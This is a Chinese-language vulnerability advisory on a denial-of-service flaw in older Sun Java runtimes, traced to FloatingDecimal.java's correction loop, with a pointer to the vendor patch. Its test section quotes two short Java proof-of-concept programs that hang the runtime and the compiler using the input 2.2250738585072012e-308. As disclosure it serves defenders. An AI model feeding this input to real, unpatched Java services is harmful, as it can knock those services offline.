Sun Java浮点值拒绝服务漏洞


发布日期:2011-02-01
更新日期:2011-02-01

受影响系统:
Sun JRE 1.3.1 - 1.6_17
描述:
--------------------------------------------------------------------------------
Java运行时环境(JRE)为JAVA应用程序提供可靠的运行环境。

Sun Java在实现上存在远程拒绝服务漏洞,远程攻击者可利用此漏洞造成用Java编写的应用程序挂起造成拒绝服务。

此漏洞源于FloatingDecimal.java中的“correction loop”。

<*来源:Konstantin Preisser
  *>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Konstantin Preisser ()提供了如下测试方法:

Send a Java Program Into An Infinite Loop

Compile this program and run it; the program will hang (at least it does on a 32-bit system with the latest JRE/JDK):

class runhang {
public static void main(String[] args) {
  System.out.println("Test:");
  double d = Double.parseDouble("2.2250738585072012e-308");
  System.out.println("Value: " + d);
}
}

Send the Java Compiler Into An Infinite Loop

Try to compile this program; the compiler will hang:

class compilehang {
public static void main(String[] args) {
  double d = 2.2250738585072012e-308;
  System.out.println("Value: " + d);
}
}

建议:
--------------------------------------------------------------------------------
厂商补丁:

Sun
---
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://sunsolve.sun.com/security

相关内容